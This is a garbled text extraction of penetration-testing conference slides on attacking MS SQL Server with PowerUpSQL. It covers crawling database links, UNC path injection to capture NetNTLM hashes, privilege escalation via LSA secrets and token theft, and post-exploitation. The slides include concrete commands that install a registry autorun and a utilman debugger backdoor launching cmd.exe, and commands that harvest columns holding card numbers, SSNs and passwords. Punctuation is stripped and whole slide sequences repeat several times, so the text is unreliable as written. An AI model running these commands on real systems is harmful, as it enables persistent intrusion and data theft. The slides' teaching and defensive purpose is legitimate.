SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
